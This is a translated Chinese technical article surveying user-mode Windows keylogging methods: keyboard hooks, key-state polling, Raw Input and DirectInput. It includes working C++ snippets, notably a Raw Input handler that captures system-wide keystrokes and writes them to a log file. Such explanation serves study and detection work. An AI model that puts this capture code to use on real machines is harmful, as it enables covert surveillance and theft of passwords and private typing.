译者:myswsun
预估稿费:80RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 前言
正如我们所知,键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分,我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。
下面是本文提到的一些方法:
1. Windows钩子(SetWindowsHookEx)
2. Windows轮询(GetAsyncKeyState、GetKeyBoardState)
3. raw input
4. direct input
0x01 SetWindowsHookEx
这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型,其中两种用于键盘记录:
g_hHook = SetWindowsHookEx(m_bLowLevelKeyboard == true ? WH_KEYBOARD_LL : WH_KEYBOARD, m_bLowLevelKeyboard ? LowLevelKeyboardProc : KeyboardProc, g_hModule, m_ThreadId);
在回调函数中,我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode(wParam指向KBDLLHOOKSTRUCT)。
如果m_ThreadId = 0,则消息钩子是全局消息钩子。针对全局消息钩子,你必须将回调函数置于dll中,并且需要编写2个dll来分别处理x86/x64进程。
针对底层键盘钩子,SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块(我测试了user32,ntdll)。
WH_KEYBOARD_LL不需要dll中的回调函数,并且能适应x86/x64进程。
WH_KEYBOARD需要两个版本的dll,分别处理x86/x64。但是如果使用x86版本的全局消息钩子,所有的x64线程仍被标记为“hooked”,并且系统在钩子应用上下文执行钩子。类似的,如果是x64,所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。
0x02 GetAsuncKeyState
使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态,这将导致CPU异常。
0x03 GetKeyboardState
和GetAsyncKeyState类似,GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时,GetKeyBoardState只会改变状态。这意味着它不是全局钩子,除非我们使用AttachThreadInput函数来共享键盘状态。
0x04 Raw Input
微软原始输入介绍:
因此,使用原始输入,我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后,在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码:
switch (message)
{
case WM_CREATE:
{
if (lParam)
{
CREATESTRUCT* lpCreateStruct = (CREATESTRUCT*)lParam;
if (lpCreateStruct->lpCreateParams)
::SetWindowLong(hWnd, GWL_USERDATA, reinterpret_cast<long>(lpCreateStruct->lpCreateParams));
}
RAWINPUTDEVICE rid;
// register interest in raw data
rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK; // ignore legacy messages and receive system wide keystrokes
rid.usUsagePage = 1; // raw keyboard data only
rid.usUsage = 6;
rid.hwndTarget = hWnd;
RegisterRawInputDevices(&rid, 1, sizeof(rid));
break;
}
case WM_INPUT:
{
UINT dwSize;
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) == -1) {
break;
}
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL) {
break;
}
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) {
delete[] lpb;
break;
}
PRAWINPUT raw = (PRAWINPUT)lpb;
UINT Event;
WCHAR szOutput[128];
CHAR keyChar;
StringCchPrintf(szOutput, STRSAFE_MAX_CCH, TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
Event = raw->data.keyboard.Message;
keyChar = MapVirtualKeyA(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR);
delete[] lpb; // free this now
// read key once on keydown event only
if (Event == WM_KEYDOWN)
{
if (keyChar>32)
{ // anything below spacebar other than backspace, tab or enter we skip
if ((keyChar != 8) && (keyChar != 9) && (keyChar != 13))
break;
}
if (keyChar>126)
// anything above ~ we skip
break;
// write to log file
CRawInputKeylog* lpCRawInputKeylog = reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd, GWL_USERDATA));
if (lpCRawInputKeylog)
{
DWORD byteWritten = 0;
WriteFile(lpCRawInputKeylog->m_hFile, &keyChar, sizeof(keyChar), &byteWritten, NULL);
}
}
break;
}
}
0x05 Direct Input
最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数,能被用来得到键盘的状态。
HRESULT hr;
hr = DirectInput8Create(g_hModule, DIRECTINPUT_VERSION, IID_IDirectInput8, (void **)&m_din, NULL);
hr = m_din->CreateDevice(GUID_SysKeyboard, &m_dinkbd, NULL);
hr = m_dinkbd->SetDataFormat(&c_dfDIKeyboard);
hr = m_dinkbd->SetCooperativeLevel(m_hWnd, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);
DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备,然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。
使用下面代码得到键盘状态:
BYTE keystate[256] = { 0 };
lpCDirectInputKeylog->m_dinkbd->Acquire();
lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256, keystate);
GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。
UINT virKey = MapVirtualKeyA(i, MAPVK_VSC_TO_VK_EX);
0x06 总结
最终,我们总结下用户模式键盘记录技术:
0x07 参考
MSDN
https://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT